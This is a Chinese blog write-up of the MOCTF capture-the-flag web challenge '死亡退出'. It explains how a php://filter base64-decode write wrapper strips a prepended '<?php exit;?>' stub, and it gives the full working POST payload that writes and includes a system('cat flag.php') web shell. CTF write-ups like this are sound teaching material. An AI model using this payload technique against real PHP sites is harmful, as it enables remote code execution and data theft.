MOCTF-Web-死亡退出

1、题目:
在这里插入图片描述
2、传送门:http://119.23.73.3:5003/
在这里插入图片描述
代码:

<?php
  show_source(__FILE__);
  $c="<?php exit;?>";   //$c=一个退出的php代码
  @$c.=$_POST['c'];     //.=详解见下方:$c=$c$_POST['c']->
  //$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
  @$filename=$_POST['file']; 
  if(!isset($filename))                  //如果$filename不存在,执行{}里的
  {                                       
    file_put_contents('tmp.php', '');    //将空写入tmp.php
  }                                 
  @file_put_contents($filename, $c);     //将$c写入$filename
  include('tmp.php');                    //包含tmp.php文件
?>

注:
.=详解

$a.='bbb'
如果$a的值是字符串a的话
那$a的值应该是'abbb',将a加到bbb的左边
同理的操作符还有+=、-=、*=、/=

file_put_contents() 函数把一个字符串写入文件中
file_put_contents(file,data,mode,context)
在这里插入图片描述
3、代码分析:

  • 通过上传字符串变量c,变量c连接<?php exit;?>破坏掉语句结构;同时变量c也需要写入到变量filename这个文件中通过执行获得flag。

  • 这里就需要用到php://filter伪协议流来进行绕过。使用base64解码的一个漏洞(base64解码不能解码<、?、空格、?、;、>等这几个字符),然后就只会解码phpexit,但base64解码是以4个为一组进行解码的,phpexit只有7个,所以需要添加一个字符构成八个字符,才能正常解码,这里随便一个字符就行,然后再连接这里我们需要执行获取flag的命令,所以$c的pyaload为:$c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==(a后面的数值进行base64解码为<?php system('cat flag.php');?>base64加密之后的字符),最后$c的值为:<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

  • 然后就是利用php://filter伪协议了,file的payload为:file=php://filter/write=convert.base64-decode/resource=tmp.php

  • 最终的payload为:c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php

  • Payload带入源码:

<?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST['c'];   //步骤见下一行注释
  //$c=$c$_POST['c']->$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
  @$filename=$_POST['file']; 
  //$filenmae=php://filter/write=convert.base64-decode/resource=tmp.php
  if(!isset($filename))
  {                                       
    file_put_contents('tmp.php', '');
  }                                 
  @file_put_contents($filename, $c);
  //$filename=$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
  include('tmp.php');
?>

使用file=php://filter/write=convert.base64-decode/resource=tmp.php时,file的值<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==进行base64解码时,删除<、?、空格、?、;、>还剩52个字符,是phpexitaPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==,正好可以除以4,最后base64解码后为:¦{­Ú<?php system('cat flag.php');?>,现在tmp.php中是¦{­Ú<?php system('cat flag.php');?>,所以可以执行里面的代码,拿到flag

4、拿取flag
在这里插入图片描述
最查看源码,得到flag:
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值